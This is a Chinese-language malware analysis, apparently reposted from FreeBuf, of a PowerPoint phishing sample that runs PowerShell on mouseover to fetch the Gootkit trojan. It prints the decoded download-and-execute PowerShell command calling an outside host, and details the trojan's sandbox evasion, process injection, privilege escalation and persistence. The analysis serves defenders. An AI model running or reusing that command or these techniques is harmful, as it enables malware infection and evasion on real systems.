新型PPT钓鱼攻击分析(含gootkit木马详细分析)

1 概述

最近出现了一种新型的PPT钓鱼攻击方式,该种钓鱼攻击方式不需要宏就能实现执行powershell的功能,通过网络下载gootkit木马进行控制。

2 分析

样本 MD5:3bff3e4fec2b6030c89e792c05f049fc

在拿到样本我们放到虚拟机中进行执行,可以看到以下,但是这并不会触发攻击

当我们用F5放映这个文档后,并把鼠标放到 Loading…Please wait 这个上面,就可以看到如下的画面,提示我们要启动一个外部程序

这个时候我们在点击启动之后,会看见一个powershell的窗口一闪而过,可以知道样本执行了一段powershell的脚本

我们将样本后缀名改为zip,看看这段powershell 代码在何处,我们最终在ppt\slides中找到了这段powershell脚本

我们在slide1.xml.rels 中找到这段powershell脚本,我们可以看到Id为rId2,

我们在对应的slide1.xml 中id为rId2 对应的动作位为,当鼠标覆盖时,就触发这个外部事件

<a:hlinkMouseOver r:id="rId2"action="ppaction://program"/>

我们来看看这段powershell 脚本(已还原),可以看到是下载一个php文件放到临时文件夹,并重命名为ii.jse

powershell -NoP -NonI -W Hidden -ExecBypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://'+'cccn.nl/'+'c.php',\"$env:temp\ii.jse\");Invoke-Item \"$env:temp\ii.jse\""

我们可以看到这个js 文件,这个文件是经过强混淆的作用是下载个exe文件

我们来详细分析下下载到的PE文件

13cdbd8c31155610b628423dc2720419

下图为样本的大致流程

在样本的开始阶段,做了些反模拟机的工作,比如一些错误的函数调用,看返回值是否被修改,执行很多无效指令,来达到模拟机指令的阈值等等

我们来看看这个样本中的sub_41E160中的无效指令

之后一个大的sleep来对抗沙箱,因为很多沙箱是有时间范围的

之后在解密出一段shellcode进行执行,这段shellcode的主要作用就是解密出一个pe文件然后加载运行,解密出的PE文件

将这个PE文件dump出来,看以下基本信息

89509761e2636e2b8a1c6f7ec8823b8f

样本首先会获取当前样本名称和mstsc.exe比较,如果不相同,则进入注入模块

样本首先会创建mstsc.exe

然后通过ZwCreateSection和ZwMapViewOfSection 进行注入,并在注入后,获取启动地址并进行修改

我们手动附加,进行修改,然后修改EIP,进行调试,我们将开始地址修改为下面的样子

由于和原文件代码相同,我们直接到文件名比较的地方,这里比较相同后,首先会获取进程的权限

如果判断是低权限的进程,则会通过ShellExecuteEx 使用管理员权限启动

之后在比较当前进程不是IE和不是任务进程后,打开BIOS注册表,查找是否在虚拟机中

并从系统信息中找到沙箱的蛛丝马迹这个是寻找Sandbox

查找BOCHS

查找的沙箱还有 VBOX 、QEMU、SMCI、Vmware、FTNT-1、VirtualBox、

如果查找到沙箱则进入死循环

然后拷贝自身到如下目录下,重命名位mqnets.exe,并执行

并删除自身

我们看看在拷贝到IE目录下样本会做些什么,在这里比较是在IE目录下的时候,会发生跳转

可以通过伪代码可以发现在通过比较后。会执行一个线程,我们看看这个线程

开头还是一段判断自己是否在虚拟机中

设置了4个环境变量分别是

Standalonemtm true

Vendor_id exe_scheduler_3333

Mainprocessoverride svchost.exe

RandomListenPortBase 6000

这个线程的主要作用是开启下面的5个线程

我们首先看第一个线程,主要作用是连接一个网址

网址为 web.1901ospinosct.com

在连接时候,还包括了探测IE代理的设置,如果发现,进行设置

关闭重定向和加入查询认证(SSL)

将接收的文件内容放到注册中

注册表为 HKEY_CURRENT_USER\Software\binaryImage32_0

HKEY_CURRENT_USER\Software\binaryImage32_1

第二个线程主要是将第一步下载的创建成文件

将IE的保护模式设置位禁用

第三个线程将文件进行注入

第四个线程主要是保持持久化

创建inf文件

设置启动

使用 IEAK\GroupPolicy\PendingGPOs key 去保持持久化

第五个线程主要是判断Temp文件是否如下图的文件,如果有壳杀死自身,并删除自身

总结

样本在对抗沙箱和模拟机中有很强的针对性,在持久话方面也很独特,值得研究一下

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-06-16

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏carven

xss总结记录

最近工作小组上,集中精力提高安全意识。而XSS作为全端安全中最常见的问题之一,我们也做了着重的学习。 XSS全称跨站脚本(Cross Site Scriptin...

1090
来自专栏我和PYTHON有个约会

爬虫正传-江湖路远-0105-谁的刀快谁就有理

在web操作领域,为了减轻响应数据的体积和保证数据完整性的考虑,可以在浏览器允许的情况下,将数据压缩返回,压缩操作方式目前一般支持主流的两重操作方式[Accep...

702
来自专栏Jackie技术随笔

I/O复用——几种I/O模型对比

之前在服务器进程终止中讨论的情形,TCP客户端同时要处理两个输入,一是标准输入,二是TCP套接口。而此时若是服务器进程被杀死,服务器尽管正确地给客户发送了FIN...

3046
来自专栏嵌入式程序猿

树莓派交叉编译环境的建立

因为树莓派本身就相当于一台电脑,所以我们可以在树莓派上编译内核或者应用程序,但是树莓派相较于台式机或者笔记本电脑,资源和速度还是有区别的,所以就需要建立交叉编译...

5399
来自专栏小白安全

安全扫描器Nmap渗透使用教程

介绍 nmap是用来探测计算机网络上的主机和服务的一种安全扫描器。为了绘制网络拓扑图Nmap的发送特制的数据包到目标主机然后对返回数据包进行分析。Nm...

4564
来自专栏木头编程 - moTzxx

AJAX 下拉无刷新分页加载

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/u011415782/article/de...

2841
来自专栏Java编程技术

Dubbo剖析-线程模型

Dubbo默认的底层网络通讯是使用Netty来做的,在服务提供方NettyServer使用两级线程池,其中EventLoopGroup(boss)主要用来接受客...

1032
来自专栏用户画像

3.1.4.3 段页式管理方式

页式管理系统能有效地提高内存利用率,而分段存储管理能反映程序的逻辑结构并有利于段的共享。

953
来自专栏Albert陈凯

将已有项目代码通过命令行方式上传到github,简易傻瓜教程(图文)将已有项目代码通过命令行方式上传到github,傻瓜教程(图文)1. 创建一个github项目2. 在Repository name

将已有项目代码通过命令行方式上传到github,傻瓜教程(图文) 本文地址:http://www.jianshu.com/p/6030066a20e4 git...

3286
来自专栏FreeBuf

某开源博客系统最新版源码审计

近期审计一个JAVA开源博客系统mblog2.5最新版,整体系统还是很安全的,漏洞较少,传统的问题像XSS系统使用全局过滤的方式进行实体化处理,上传问题使用白名...

1565

扫码关注云+社区

领取腾讯云代金券